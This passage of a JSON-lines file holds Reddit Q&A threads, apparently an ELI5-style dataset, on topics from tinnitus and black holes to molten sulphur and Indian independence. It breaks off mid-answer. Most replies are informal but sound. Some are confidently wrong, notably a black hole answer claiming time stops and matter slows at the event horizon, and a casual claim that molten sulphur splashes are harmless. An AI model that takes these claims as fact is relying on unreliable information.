{"q_id": "rtmv8", "title": "what is the sound in your ears when you are in a very quiet room and there is no other noise? it's sort of like a ringin in the ears, but it's not the same...", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/rtmv8/eli5_what_is_the_sound_in_your_ears_when_you_are/", "answers": {"a_id": ["c48kf12", "c48ktkv", "c48kv1q", "c48lwx7", "c48n0hs", "c48rv3p"], "score": [4, 2, 22, 4, 7, 2], "text": ["Tinnitus.  It's a condition that affects many to varying degrees, and makes it sound like there is a 'ringing' or 'buzzing' in your ear.  It has varying causes, ranging from a symptom of a disease to having something stuck in your ear.  See: _URL_0_", "If you're young the cause is likely to be that the tiny sensitive hairs in your ear which detect sound have been damaged by too much exposure to loud noises. These hairs connect to nerves which are only meant to be active when there's an actual sound, but noise-damage can cause them to be switched permanently to the 'on' position. ", "Sounds like tinnitus. Most people experience mild tinnitus from time to time, others (myself included) have it permanently. It's not an actual sounds, just nerves misfiring, sometimes caused by damaged hairs on the ear drum.", "Are you sure it's quiet?\n\nFor advanced sound testing, rooms like these are used:\n\n_URL_0_\n\n_URL_1_\n\n_URL_3_\n\n_URL_2_\n\nThey \"break down\" all sound waves until there's almost no echoes left. What you hear in such a room is all produced by your body (pulse, breath, etc) or in your ears (tinnitus) or brain (imagination). The additional sound you hear in ordinary rooms are various noises mixed with their echoes.", "I just thought everybody had this. Huh. I should probably get my ears looked at, 'cause I've had this as long as I can remember.", "I remember when I was tripping with a friend a decade or so ago he said it was hydrogen molecules hissing by my ears. I told him he was a quack."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://en.wikipedia.org/wiki/Tinnitus"], [], [], ["http://www.ta.chalmers.se/images/CRAG/hemi_anech.jpg", "http://www.sciencephoto.com/image/352233/530wm/T5150282-Acoustic_testing_chamber-SPL.jpg", "http://www.ets-lindgren.com/assets/images/AnechoicChamber.jpg", "http://www.kleintechsys.com/wp-content/uploads/images/Tank_in_chamber.jpg"], [], []]}
{"q_id": "tjiee", "title": "Looking through all of my own notes about Evolution and how species have separated over time...", "selftext": "I was wondering: Do we have any evidence of two different species doing the opposite and converging genetically to the point were they can reproduce or something similar?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/tjiee/looking_through_all_of_my_own_notes_about/", "answers": {"a_id": ["c4n5ae1", "c4neauf"], "score": [3, 2], "text": ["No, you do get convergence of species to fill the same ecological niche, since the same selection pressures are there. However for the correct mutations to occur to bring species together after separating is incredibly unlikely (and does not have the same kind of selection pressure as straight forward evolution).", "It depends what you mean. \n\nClosely related species can hybridize and create new species. This is called hybrid speciation and there's some info on it [here](_URL_0_). \n\nHowever, I don't know of any examples of fully separated species reuniting. It's generally assumed that the genetic changes that separate two different species are irreversible."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://en.wikipedia.org/wiki/Hybrid_speciation"]]}
{"q_id": "2wza56", "title": "why are people so critical of their own work?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/2wza56/eli5_why_are_people_so_critical_of_their_own_work/", "answers": {"a_id": ["covg92w"], "score": [4], "text": ["Because any medium is an imperfect translation of abstract thought.\n\nI'll use books as an example, but it works for any media. Everything you know about a language paints a picture in your mind. When you read something someone has written, you can't help but see it. When someone describes a character, you picture that character. This is why it often feels weird when a movie is made about a book, and you see a character who doesn't match the one you have in your head, and it creates dissonance. Sometimes all of the magic movie parts come together and you get someone who is \"perfect\" for role: this is simply someone who matches up what's in your head.\n\nWhen you're writing, you're playing a game of telephone. I don't care how good a writer you are, your translation is still imperfect. I can assure you that the Hamlet in my head is not the same Hamlet that was in Shakespeare's head. When you read your own work, your mind reflexively tries to create a picture based on what you're reading, but since those words are an imperfect representation of the idea that was already in your head, your new mental picture doesn't gel, and you get that same dissonance. The fact that they don't match up is frustrating, and you can't help but feel like your writing is terrible because it isn't painting the picture that you wanted. And you may be right! But even the greatest authors experience this self doubt and frustration and endless revision, sometimes as much or more as beginners.\n\nBeing a successful artist means learning to work through this process, and teaching yourself how to speak your own language, where you can learn how to translate your own thoughts into a medium or media which others can take in and appreciate."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "brhk5s", "title": "Before computers made it easy, how did Japanese typewriters account for Kanji? Did they even try? Or did they just write everything in Kana? What did Japanese typewriters even look like?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/brhk5s/before_computers_made_it_easy_how_did_japanese/", "answers": {"a_id": ["eoe2kus"], "score": [23], "text": ["This is one of my favourite questions on this sub. If you google Japanese or Chinese typewriter you'll find  a gigantic contraption with a board comprised of 4000+ characters, and that's absolutely true. I'm going to talk about the two quite interchangeably just because different examples are appropriate differently.\n\nWhile European typists were expected to be trained for touch typing, the training manuals for Chinese/Japanese typewriters never aimed for that, instead typists were expected to spot and identify characters quickly by sight, while thinking of what their next character might be. This is because the best thing about Chinese/Japanese typewriters is that they invented predictive text!\n\nImagine a board of 4000 characters split into 5 zones. Instead of having it arranged by stroke order like in a dictionary, in the centre you would have your 1000 most popular characters and your less important characters would radiate outwards. But what was important and what was not varied across time. Until 1928, Beijing was in Zhili \u76f4\u96b8 Province, and so the word \u96b8 which was otherwise quite rare was added to the central zone, and then removed. It also varied across purpose, so a law firm in Tokyo might well have highly specialised legal terminology in the central zone, and would specially feedback to the typewriter makers what characters they wanted in there. This is a very rare example of early user-led innovation.\n\nOver time, this got more sophisticated. Typists realised that many characters often came together, for example the word for study \u52c9\u5f37 routinely featured two words that commonly appeared next to each other. Making them adjacent would save a lot of time finding characters. Similarly, the Chinese question words \u55ce \u5462 \u5427 almost always preceded question marks, so the question mark was surrounded by them, instead of other punctuation. I heard a lecture in which a professor referred to a particular UN Japanese typewriter which featured \u56fd\u969b\u9023\u5408\u4e8b\u52d9\u7dcf\u9577 (United Nations General Secretary) in single downward column. And some typewriters even had multiple instances of the same character for convenience. \n\nIn the early days, typing anything required a specially trained typist. Typewriter paper was very thin, so if the same force was applied, a word like \u9b31 would have very low pressure, but a word like \u4e00 would concentrate force on a very small and thin area. Consequently, pressing both with the same force would likely rip through the paper, forcing you to start again from scratch. Despite this, Mullaney (2017) has found evidence of people reaching up to 80 characters a minute in the 1950s.\n\nSome examples: _URL_0_\nSource: Mullaney (2017), Gondek (2018)"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://youtu.be/xroE4jBhXHw"]]}
{"q_id": "mhsmc", "title": "How dense does matter get in the accretion of a black hole immediately outside of the singularity?", "selftext": "As I understand it, as matter is pulled into a black hole it forms into an accretion disk due to the conservation of angular momentum, and that all matter is eventually pulled apart (spaghettification) due to the intense gravitational pull.  The two questions I have are: 1) Does this matter increase it's speed (due to gravity pulling it in), spiraling around the singularity until it is finally consumed?  Is this matter moving at almost the speed of light as it spirals into the singularity?\n\n2) Because this matter has been spaghettified, how dense is the accretion disc immediately outside of the singularity?  Is it wall to wall atoms or quarks so tightly packed there is literally no distance between them?  Or is there still quite a bit of 'free space', in the sense of electrons distance to neutrons and proton in atoms, when the are finally consumed by the singularity?\n\nI hope these questions make sense.  Thanks!", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/mhsmc/how_dense_does_matter_get_in_the_accretion_of_a/", "answers": {"a_id": ["c311bvx", "c311bvx"], "score": [2, 2], "text": ["1) So near as I can assert the answer is \"No, it actually slows down\".\n2) This question is very difficult to answer because \"immediately outside the singularity\" is a pretty chaotic area.\n\nAlso, I'm pretty sure you mean \"event horizon\" when you say \"singularity\".\n\nThe reasoning:\n1) Nothing escapes a black hole. Nothing. Not space. Not time. As you approach the event horizon of a black hole, an ever increasing gravitational force is applied. Once you cross the event horizon, because nothing (including time) can leave, your \"speed\" drops to an unreasonable amount. The equation which defines \"speed\" or \"velocity\" is d/t (distance over time). Once you cross the event horizon, time = 0. x/0 = CRAZY! (BTW: One of the coolest implications of this is that everything that's ever fallen into a black hole is always visible because the moment it passes the event horizon is locked in time, and it never goes away).\n2) So this question is hard to answer because once it passes the event horizon and approaches an area which could be vaguely considered to be \"outside the singularity\" then it's no longer really an accretion disc. It has become part and parcel of the matter which makes the black hole. In essence it has become part of the singularity in a way we have a hard time considering (imagine a place of no time or distance which has an ever increasing mass). The best I can do to even help point you in the direction of what could be considered a rough cop-out to your question would be this: _URL_0_", "1) So near as I can assert the answer is \"No, it actually slows down\".\n2) This question is very difficult to answer because \"immediately outside the singularity\" is a pretty chaotic area.\n\nAlso, I'm pretty sure you mean \"event horizon\" when you say \"singularity\".\n\nThe reasoning:\n1) Nothing escapes a black hole. Nothing. Not space. Not time. As you approach the event horizon of a black hole, an ever increasing gravitational force is applied. Once you cross the event horizon, because nothing (including time) can leave, your \"speed\" drops to an unreasonable amount. The equation which defines \"speed\" or \"velocity\" is d/t (distance over time). Once you cross the event horizon, time = 0. x/0 = CRAZY! (BTW: One of the coolest implications of this is that everything that's ever fallen into a black hole is always visible because the moment it passes the event horizon is locked in time, and it never goes away).\n2) So this question is hard to answer because once it passes the event horizon and approaches an area which could be vaguely considered to be \"outside the singularity\" then it's no longer really an accretion disc. It has become part and parcel of the matter which makes the black hole. In essence it has become part of the singularity in a way we have a hard time considering (imagine a place of no time or distance which has an ever increasing mass). The best I can do to even help point you in the direction of what could be considered a rough cop-out to your question would be this: _URL_0_"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://en.wikipedia.org/wiki/Black_hole_information_paradox"], ["http://en.wikipedia.org/wiki/Black_hole_information_paradox"]]}
{"q_id": "1ay61y", "title": "In light of Armenia making chess mandatory in schools, what benefits would one gain learning chess at a young age?  ", "selftext": "", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/1ay61y/in_light_of_armenia_making_chess_mandatory_in/", "answers": {"a_id": ["c91tzfa"], "score": [2], "text": ["Being better at chess.\n\nHere are some studies linked: _URL_0_\n\nThe source might be biased in how the studies were selected and summarised."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.championshipchess.net/research.html"]]}
{"q_id": "ikzgx", "title": "If someone is stabbed with a knife or similar foreign objects, is it advisable to pull it out from the body or leave it in?", "selftext": "It seems that pulling it out might cause more damage, but leaving a foreign object in a body also seems like it could lead to a blockage in the flow of blood, or even infection from contaminants in the object. \n\n(Just out of curiosity, and no, this isn't urgent advice needed)", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/ikzgx/if_someone_is_stabbed_with_a_knife_or_similar/", "answers": {"a_id": ["c24kw4c", "c24kwbf", "c24kyey", "c24l1uo", "c24l4h7", "c24lqo0", "c24mj49", "c24mm15", "c24nw8x"], "score": [36, 5, 77, 34, 12, 13, 3, 31, 2], "text": ["Leave it in, pulling it out can cause more damage and needs to be done under surgery, once x-rays have been taken to assess the damage and if any underlying structures are affected. \nLeaving it in also helps to stop the blood coming out, which is a priority over infection. ", "I believe leaving it in is preferred, primarily because removing it could cause severe loss of blood (depending on where it is, of course). While infection is a concern, of course, once the object is inside the body, that ship has sailed, and I doubt it would matter that much if you took it out unless you were planning on sterilizing the wound. I don't know if blockage of blood could be a concern, but pursuant to the first point, it would probably be better than letting it all out.", "I used to be a first responder on a fire crew.  I was trained to leave the object in and build a big bubble of padded bandages around it.", "Every first aid course I've taken has taught me not only to leave it in, but to stabilize it (like stoicsmile said, with something like a bunch of bandages) to prevent further damage.", "ALWAYS LEAVE IT IN.  Blockage of the flow of blood is always less serious than hemorrhaging.  If an artery is stabbed, you can bleed out in a matter of minutes.  It can take a few hours for things to pass the point from which there is no return from a blockage.  Just get the person to the hospital as soon as possible and let the surgeon remove it in the OR.  When it comes to contamination, whatever the object touched inside the body will be contaminated.  If it's in there longer, then it may leave more contaminants, but the person will be treated for them anyway.  Either way, preventing blood loss is your top priority, infections and reperfusing tissue after the blockage can be worked with later.  You need blood to do both of those things, so always leave the object in.\n\nEdit: What everyone else said: stabilize the object with bandages if you can.", "Always leave the object in. Always, always, no matter how creepy it looks. Stabilize the object with tape or bandages if you can, but always leave it in the wound, where it will act as a plug to minimize blood loss. Let the surgeons remove it later.\n\nIf somehow the object is blocking blood flow, that means it's in a major artery. Pulling it out will let the blood flow *to the outside of the body* where it does nobody any good at all. (Rule 3 of nursing care: keep the blood on the inside.)\n\nAs for infection, that's not your biggest concern in the short term. Contaminants on the object have already entered the body and transferred their bacteria, but you're not worrying about that. Your first priority is to make sure the patient stays alive to reach surgery. Once he gets there, they'll deal with the infection risk by carefully cleaning the wound and giving him lots of antibiotics.\n\n(Also, FTR, the same first aid principle applies for eye injuries too. Never ever remove a penetrating object from an eyeball.)", " >  it could lead to a blockage in the flow of blood\n\nSometimes this is even *good*. If the knife wasn't there to block all the blood, you'd *lose* all the blood.", "The only time you remove it is if the object is obstructing *AIR* flow.  \n\nNo air = Corpse.  \n\nSame goes for traumatic injury where spinal damage is suspected or pretty much anything else.  If they aren't breathing, getting an airway clear is #1 priority even if it would otherwise be contraindicated.  ", " > it could lead to a blockage in the flow of blood\n\nThis is probably a good thing. If the object is in a place to stop blood flow, removing the object will likely lead to blood loss, not just a return to normal flow.\n\nThere are probably some exceptions (such as crushing a blood vessel without piecing it), but most likely the vessel will have ruptured (or will during removal).\n\nTL;DR Leave it in."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], [], [], [], [], []]}
{"q_id": "yfp87", "title": "In Canada, I often see train cars carrying \"hot molten sulphur\".  Why is it transported in liquid form instead of solid?", "selftext": "", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/yfp87/in_canada_i_often_see_train_cars_carrying_hot/", "answers": {"a_id": ["c66oqoa", "c5v4za1", "c5v523q", "c5v5shk", "c5v6cfc", "c5v7pwt", "c5v7xl6", "c5v8j11", "c5v8qog"], "score": [2, 184, 86, 23, 714, 4, 7, 3, 2], "text": ["I work at a Sulphur Handling Facility near Rocky Mountain House, Alberta. We handle 1000 metric tonnes of sulphur a day, with 70% of that coming from a sour gas plant and the other 30% from remelt operations on our sulphur block. A lot on the info here is accurate, but some is not, so I thought I'd clarify. \n1. Only about 50% of our product is shipped in a liquid state. That sulphur is shipped to the States where is is mostly used in the fertilizer industry. The other 50% is shipped in a solid state to Vancouver, then China, where it is used in a variety of manufacturing industries. The solid sulphur is in the same type of cars that coal is in, but there are no placards and it doesn't heap over the top of the car, so you'd likely never know it was sulphur.\n2. Sulphur only glows blue when it is on fire, and it is only on fire is something has gone terribly wrong. When it is molten it is a deep red color. \n3. When in a solid state (Freezes at about 109 C) it has no odor. So our sulphur block (it is 400 m by 1.2 km, by about 20 m) does not smell. In a liquid state it does have the H2S smell (rotten eggs) especially if the sulphur is being agitated. \n4. Sulphur blocks are not in and of themselves a danger to the environment, and Oil  &  Gas companies feel no need to hide them. There are some issues that can cause environmental damage though. The biggest problem would be if there was a major fire and a lot of SO2 was released to atmosphere. Large fires happen maybe once a decade. The everyday environmental concern is that the water that runs off the block is very low pH (1 to 2). All that water (and it is a lot, 10 mm of precipitation equals about 10,000 m3 of runoff) is collected and treated with caustic to bring the pH up to between 6 and 9. It then settles so that suspended solids settle out, and it is finally released to the environment.\n5. Molten sulphur is very hot and you wouldn't want to take a bath in it, but it isn't that dangerous. Getting a little splash on your face isn't a big deal. It cools quickly and flakes off and doesn't leave a scar. Generally it's only at about 140 C so it's more of a scolding than a burn. \nAny other questions feel free to ask.", "I've tried researching into this for you and the most prominent problem mentioned with shipping solid sulphur was how to deal with dust. Apparently solid sulphur is very friable and therefore it is difficult to transport and transfer it in solid form without contamination of the surrounding environment. \n\nThat being said, it is transported in solid form by created sulphur pellets or slate.  \n\nAlso, it seems that the refining process usually produces molten sulphur and therefore it would have to be converted to solid sulphur pellets or slate to transport in solid form (meaning it might just be easier to keep it molten until it's destination depending on how far it's being transported)\n\n_URL_0_\n\nThis article explicitly mentions the disadvantages of transporting sulphur in molten form and states that the majority of sulphur is actually transported as a bulk solid.\n\n_URL_1_\n", "Also, it seems that the places using the sulphur require it in liquid form and because it takes a lot of energy to melt it once it has solidified, it is actually just more efficient to keep it liquid and deliver it as such to be used immediately. \n\n > As further processing very often requires liquid sulphur (e. g. for the production of \nsulphuric acid and fertilizer), it is advantageous to transport and store sulphur in liquid\nform. However, temperatures of between 124 -145\u00b0C mean that handling, transportation \nand storage could pose a problem from the point of view of safety and economics, so \nliquid sulphur is handled only if one or more of the following factors apply:\n\u2013 Short distances.\n\u2013 Short storage cycles.\n\u2013 Availability of adequate storage \nsystem.\n\u2013 Availability of adequate \ninfrastructure for transport, be it\nroad, ship or railway transport\n\n_URL_0_", "I work at an oil refinery up in fort mcmurray, there are already great responses to your question, so I'll just add that it is very difficult to break up blocks of solid sulphur. Dust is a big issue if you try to break it into smaller pieces. Also once sulphur is stuck to surfaces, it sticks very well and is hard to remove. Sulphur is also much easier to transport with pumps in liquid form, and it discharged in liquid form right from the sulphur plants here on site.", "Former employee of a sulfuric acid plant here.\n\nMost sulfur comes as a byproduct of petroleum refining.  At the refinery, the sulfur stream is already liquid, and the pumps are of mature designs that do a pretty good job of handling it.  The railcars are filled with this hot (300F +/-10) molten sulfur.  The cars are insulated to\n\nA: help retain whatever heat it can and \n\nB: to protect whatever poor thing might bump into it.  \n\nSo this sulfur is usually is frozen solid by the time it gets where it is going.  The railcar has steam coils in it.  ~75psi steam will melt a railcar in about 12-18 hours depending on the weather.  Once there are no solid chunks, a valve on the bottom of the car is opened, and it dumps into a pit.  From there it is pumped to a storage tank, and then gravity fed into another pit.  This pit has high pressure pumps that spray it into a furnace to start the sulfuric acid production process.\n\n\n\nTL;DR- the source produces molten sulfur, and the end user needs it in its molten state.", "What is this sulpher used for?", "Visited a sulfuric acid plant a week ago and asked the same question as you.\n\nThere, the sulfur comes in solid form, but they melt it so they can feed it to the boilers. Basically, liquid sulfur is easier to transport inside the plant since it can be pumped (no need for conveyor belts, isolated storage places so the powder doesn't spread in the air, etc.). \n\nBut most of all, liquids are easier to burn compared to solids, and have a more controlled combustion.", "I worked at a plant in Hopewell, Virginia- USA. We imported these railcars full of sulfur for a reaction that produced 1 part Caprolactam (a raw material used fo rnylon) and 4 parts fertilizer.\n\nIt was my favorite scene when I went to work in the morning and you could see the steam rising off the cars at dawn", "How are these cars different? I see the big black cemical cars all the time but I've never seen anything to tell me what's in them."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://www.scribd.com/doc/45318516/A-Review-of-Solid-and-Liquid-Sulphur-Specification-With-Emphasis-on-Handling-and-Transportation", "http://www.faqs.org/patents/app/20120018913#b"], ["http://www2.sandvik.com/sandvik/0140/internet/s002582.nsf/0/BC7D901D03D8DE7CC12574E4004A6B70/$file/Sulphur%20saleskit%208.7.2008.pdf?OpenElement"], [], [], [], [], [], []]}
{"q_id": "1h5wf5", "title": "Gandhi and the Indian movement for independence is often cited for being an example of successful peaceful protest; what were some contemporaries of Gandhi that used more violent methods?", "selftext": "To extend a bit, what was the political atmosphere of the Indian independence movement like? Who were the major players? Comparatively, in the American civil rights movement, Malcolm X and MLK commented on one another and even had a debate.  Did Gandhi interact with his contemporaries and if so, how?\n\n(And yes, this was totally triggered by the recent question about whether or not peaceful protests were dependent on their violent counterparts for success.)\n\n*realised ten seconds after posting my title has awful grammar; please ignore that.", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/1h5wf5/gandhi_and_the_indian_movement_for_independence/", "answers": {"a_id": ["carel8s"], "score": [2], "text": ["**The British-Raj started with Battle of Plassey :**\n\nThe Battle of Plassey  was a decisive victory of the British East India Company over the Nawab of Bengal and his French allies on 23 June 1757. The battle established the Company rule in Bengal which expanded over much of India for the next hundred years.\n\nHow it started:\nThe East India Company, set up shop in India in 1612 claiming to be a trading company, trying to make a bit of cash. They did try to exceed their brief in 1682, when Job Charnock (Better known as the guy who established Kolkata) tried to capture Mughal fortifications on the Hooghlee river.[**more**](_URL_2_)\n\n**Vellore sepoy mutiny**\n\nTwo hours after midnight, on 10 July, the sepoys in the fort shot down the European sentries and killed fourteen of their own officers and 115 men of the 69th Regiment, most of the latter as they slept in their barracks. Among those killed was Colonel St. John Fancourt, the commander of the fort. The rebels seized control by dawn, and raised the flag of the Mysore Sultanate over the fort. Tipu's second son Fateh Hyder was declared King.\n\n**The rebellion of 1857**\n\nThe Indian Rebellion of 1857 began as a mutiny of sepoys of the East India Company's army on 10 May 1857, in the town of Meerut, and soon escalated into other mutinies and civilian rebellions largely in the upper Gangetic plain and central India, with the major hostilities confined to present-day Uttar Pradesh, Bihar, northern Madhya Pradesh, and the Delhi region.\n\n**Bhagat Singh**\n\nAssassinated police official Saunders to avenge the death of Lala Lajpat Rai. Together with Batukeshwar Dutt, he undertook a successful effort to throw two bombs and leaflets inside the Central Legislative Assembly while shouting slogans of Inquilab Zindabad. \n\n**Indian National Army**\n\nWith its beginning in Singapore during World War Two, the Indian National Army (INA) was formed to liberate India from British rule. Although the military campaigns did not lead directly to India\u2019s Independence, the postwar trials of INA officers served as a catalyst for India\u2019s Independence. A Blog on [Who Brought Freedom](_URL_0_)\n\n-_URL_1_"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://folks.co.in/blog/2012/01/23/who-brought-freedom-gandhi-or-netaji/", "https://en.wikipedia.org/wiki/Indian_independence_movement", "http://kaipullai.com/2012/01/18/four-little-things-that-shaped-india-part-2/"]]}
{"q_id": "3v8n1o", "title": "how does power steering work?", "selftext": "I drive a 2008 Jeep Wrangler Sahara that uses hydraulic power steering and have decided to learn as much as possible about my car", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/3v8n1o/eli5_how_does_power_steering_work/", "answers": {"a_id": ["cxlbw98", "cxld9na"], "score": [5, 8], "text": ["Well Billy, when you move the wheel it adjusts a valve(something that controls how much fluid moves) that adjusts how fluid should move the wheels. A pump is doing all the work with the help of a piston. You're just redirecting it. edit: its not an electric motor ty /u/L8-2-TheParty", "There is a pump driven by the engine, that circulates oil thru the system. When you are not steering the car, the oil circulates with no pressure.\n\nWhen you turn the steering wheel it opens a valve that directs the oil left or right, into a hydraulic ram that pushes the steering in that direction.\n\nYou are also pushing the steering with the steering wheel, but the oil does most of the work. If the engine stops or the power steering fails you can turn the wheels but it is very hard."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "apw97g", "title": "Why does the onset of schizophrenia occur later in women than men?", "selftext": "According to these studies: [Sex Differences in the Adolescent Brain](_URL_1_); [Women and Schizophrenia ](_URL_0_), the female brain finishes maturing on average four years earlier than males (21 in women and 25 in men). \nHowever, the onset of schizophrenia occurs later in women (late 20s+ in women and 18-24 in men).\n\nThe first study referenced mentions a hypothesis that the pubertal surge in estrogen women experience may delay the symptoms, but the researchers seemed hesitant to attribute that as a definite cause. \n\nI have not been able to find an answer as to why schizophrenia typically begins later in women, especially since the observed development patterns between the sexes would intuit the opposite.\n\nDoes anyone know the answer to this?", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/apw97g/why_does_the_onset_of_schizophrenia_occur_later/", "answers": {"a_id": ["egc6lxb", "egcbuod", "egcklf9", "egdjteq"], "score": [45, 72, 3, 2], "text": ["The reason the authors of the study were hesitant is that the reason for this phenomenon is unknown. It probably will stay unknown as long as the cause for schizophrenia is not entirely clear. If you find it make sure to tell me so I can jump onto the Nature paper were publishing.\n\nBy the way those age ranges are only where most cases of schizophrenia break out. It can start your whole life though", "There was a researcher who was able to link development of schizophrenia in women post-partum and at menopause, suggesting that the hormone fluctuation (estrogen) may cause the later onset in those susceptible. If this is an average, the women diagnosed later in life may be throwing off that value. \n\n_URL_0_\n\nI heard it on the podcast The Cut on Tuesday\u2019s, the episode was \u201cListening to Estrogen\u201d. ", "Gimlet Media\u2019s podcast The Cut recently came out with an episode on the connection of estrogen and late onset schizophrenia in women. \n\n[_URL_0_](_URL_0_) ", "Women tend to have more protective factors vs men, so maybe that plays a part. \n\nIt could be more social than biologic reasons causing this discrepancy. Since total prevalence of schizophrenia is equal between men and women. "]}, "title_urls": [], "selftext_urls": ["https://www.ncbi.nlm.nih.gov/pmc/articles/PMC4539869/", "https://www.ncbi.nlm.nih.gov/pmc/articles/PMC2818549/"], "answers_urls": [[], ["https://www.mdedge.com/psychiatry/article/84312/bipolar-disorder/psychosis-women-consider-midlife-medical-and-psychological"], ["https://www.gimletmedia.com/the-cut-on-tuesdays/listening-to-estrogen"], []]}
{"q_id": "n4p7l", "title": "Could we create a computer program with all the known laws of the universe to reverse engineer what we don't already know?", "selftext": "Could we create what is basically a 3D CAD program that had all the known laws of the universe and then ran experiments on it - such as accelerating particles close to the speed of light a la a mass hadron collider - and observing the difference between what happens in the program and what happens IRL? \nWould this be plausible at all, even if using the bleeding edge of computing hardware?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/n4p7l/could_we_create_a_computer_program_with_all_the/", "answers": {"a_id": ["c367vnl", "c367vre", "c368a1u", "c369ryx", "c36ahpn", "c367vnl", "c367vre", "c368a1u", "c369ryx", "c36ahpn"], "score": [46, 9, 5, 5, 2, 46, 9, 5, 5, 2], "text": ["What you asked is exactly what is done in almost all of physics. \n\nIf any scientist tells you that some problem is \"an active area of research.\" It generally means that a new phenomenon is happening, a phenomenon where the theory (which is now calculated using computer simulations) breaks down and didn't predict what actually happened accurately. \n\nAlso, it is worth mentioning, that we are not using 3D cad programs, or anything. We are writing our own programs, our own simulations that are broken down and distilled down to the fundamentals of each question at hand. Sometimes this is hard and computers arn't good enough to calculate what we would like to learn about, and this is why fields such as computational physics exist. \n\nCurrently, simulations and theories have predicted and, actually require, a Higgs Boson for instance, but it has never been observed. So your question is exactly what is happening at the LHC, we are chasing after this difference. \n\nSo as a whole, we are simulating things all the time, both real events and theoretical events, and comparing them to the known universe. When things diverge, new physics is formed. Also, when a theory predicted some experimental result never seen before, it helps solidify that theory as being more likely accurate / a better representation. \n\n**EDIT:** This is by definition the scientific method. [Guess - >  Compute Consequences - >  Compare to Nature](_URL_0_). And we can compute the consequences both with a computer and simulations, or by hand as it was done in the past. This is the history of science at its core. ", "To some extent this already happening. In a lot of branches of science where it is not practical to perform direct experiments we design virtual ones (i.e. computer models). \n\nFor instance, I work with geological models which reproduce the behaviour of rivers and coasts in response to climate and sea level fluctuations. I'd love to be able to model each grain of sand as it is transported by the river. However, I am working on scales that make this impossible, both spatially (100's of km^2 ) and temporally (millions of years). So I make huge simplifications and use emperical equations which describe how large sediment bodies behave over time. A lot of my calculations are averaged: I calcualte what is happening on average on a area of 10's to 1000's of m^2 , and only do this once for every year or so.\n\nSo yes, we can use models to try to reproduce reality, and see where mismatches occur and learn from those. But each model is only applicable to a very limited area of interest. It would be great to combine everything in one model but that would be computaionally impossible. \n\nOne interesting result which was found using computer models (outside of my field) was the idea of dark matter. Models were created of galaxies using all the visible matter in these galaxies. However these virtual galaxies did not behave as the real ones did. Scientists found that adding a bunch of invisible matter solved that difference.", "Of course. Unfortunately our modeling isn't very accurate yet. Take for instance a very specific subset of physical modeling: computational fluid dynamics. CFD simulators are still relatively inaccurate at measuring how a fluid interacts with itself and surfaces. Aircraft manufacturers (and formula 1 racing teams actually) have massive supercomputers just built for these computations, and they still take forever with limited calculation ability.", "Actually, we can't get any exact results for some of the components of your proposed program.  We don't understand the math!\n\nTwo examples ([Million-dollar math problems](_URL_0_)):\n\nYang-Mills theory.  Deals with the strong nuclear force and color charge.  We can't figure out the exact math, only approximations.\n\nNavier-Stokes equations.  Deals with fluid dynamics and turbulence.  We can't figure out what solutions we can have, or how long they work for.\n\nWe can't write accurate programs for these, let alone something for *all* known laws together.  The best we can do is approximations, to give us an idea of what we *might* not know.", "An inference machine? One of these things you mean?\n\n_URL_0_", "What you asked is exactly what is done in almost all of physics. \n\nIf any scientist tells you that some problem is \"an active area of research.\" It generally means that a new phenomenon is happening, a phenomenon where the theory (which is now calculated using computer simulations) breaks down and didn't predict what actually happened accurately. \n\nAlso, it is worth mentioning, that we are not using 3D cad programs, or anything. We are writing our own programs, our own simulations that are broken down and distilled down to the fundamentals of each question at hand. Sometimes this is hard and computers arn't good enough to calculate what we would like to learn about, and this is why fields such as computational physics exist. \n\nCurrently, simulations and theories have predicted and, actually require, a Higgs Boson for instance, but it has never been observed. So your question is exactly what is happening at the LHC, we are chasing after this difference. \n\nSo as a whole, we are simulating things all the time, both real events and theoretical events, and comparing them to the known universe. When things diverge, new physics is formed. Also, when a theory predicted some experimental result never seen before, it helps solidify that theory as being more likely accurate / a better representation. \n\n**EDIT:** This is by definition the scientific method. [Guess - >  Compute Consequences - >  Compare to Nature](_URL_0_). And we can compute the consequences both with a computer and simulations, or by hand as it was done in the past. This is the history of science at its core. ", "To some extent this already happening. In a lot of branches of science where it is not practical to perform direct experiments we design virtual ones (i.e. computer models). \n\nFor instance, I work with geological models which reproduce the behaviour of rivers and coasts in response to climate and sea level fluctuations. I'd love to be able to model each grain of sand as it is transported by the river. However, I am working on scales that make this impossible, both spatially (100's of km^2 ) and temporally (millions of years). So I make huge simplifications and use emperical equations which describe how large sediment bodies behave over time. A lot of my calculations are averaged: I calcualte what is happening on average on a area of 10's to 1000's of m^2 , and only do this once for every year or so.\n\nSo yes, we can use models to try to reproduce reality, and see where mismatches occur and learn from those. But each model is only applicable to a very limited area of interest. It would be great to combine everything in one model but that would be computaionally impossible. \n\nOne interesting result which was found using computer models (outside of my field) was the idea of dark matter. Models were created of galaxies using all the visible matter in these galaxies. However these virtual galaxies did not behave as the real ones did. Scientists found that adding a bunch of invisible matter solved that difference.", "Of course. Unfortunately our modeling isn't very accurate yet. Take for instance a very specific subset of physical 